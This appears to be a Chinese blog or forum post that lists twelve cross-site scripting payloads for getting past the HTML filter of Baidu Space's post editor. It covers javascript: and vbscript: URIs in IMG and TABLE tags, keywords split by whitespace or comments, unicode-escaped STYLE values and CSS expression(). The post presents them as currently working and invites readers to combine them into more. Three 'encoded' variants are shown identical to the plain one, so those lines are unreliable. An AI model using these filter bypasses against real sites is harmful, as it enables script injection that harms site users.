|
首先是点击南开的办法,利用IMG标签SRC属性嵌入脚本。这种办法公开已经有几天时间了,目前还没有被封: (1) <IMG SRC="javascript:alert('XSS');">
如果你是vbs爱好者,也可以这样用: (2) <IMG SRC='vbscript:msgbox("XSS")'>
如果百度过滤了SRC里面的"javascript","vbscript",可以尝试在关键字中间嵌入white space字符逃避过滤: (3) <IMG SRC="jav	ascript:alert('XSS');" > (4) <IMG SRC="jav
ascript:alert('XSS');" > (5) <IMG SRC="jav
ascript:alert('XSS');" >
如果百度再把white space字符都过滤的话,可以用多种形式的转义编码来逃避过滤: (6) <IMG SRC=javascript:alert('XSS')> (7) <IMG SRC=javascript:alert('XSS')> (8) <IMG SRC=javascript:alert('XSS')>
除了IMG可以利用,TABLE和TD标签也可以用来嵌入脚本: (9) <TABLE BACKGROUND="javascript:alert('XSS')"> (10) <TABLE><TD BACKGROUND="javascript:alert('XSS')">
百度已经过滤了STYLE属性里面的"javascript"等关键字,但编码后可以逃避过滤: (11) <DIV STYLE="background-image:\0075\0072\006C\0028\006A\0061\0076\0061\0073\0063\0072\0069\0070\0074\003A\0061\006C\0065\0072\0074\0028\0027\0058\0053\0053\0027\0029\0029">
在关键字中间嵌入注释字串,可以逃避过滤: (12) <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
目前,上面列出的12个例子都可以做到脚本执行(至少保证在IE6下没问题)。借助百度发帖助手,我们很容易在文章中嵌入这样的HTML标签。当然这只是一些思路,或者入手点,12个例子之间有些是可以彼此配合使用的,通过组合搭配,我们可以得到几十种甚至更多嵌入脚本的方法。
百度空间的发文模块过滤了很多HTML标签,目的就是防止脚本执行。但就目前的情况来看,百度的工作做得还远远不够。下面我举些避开百度过滤的例子。 |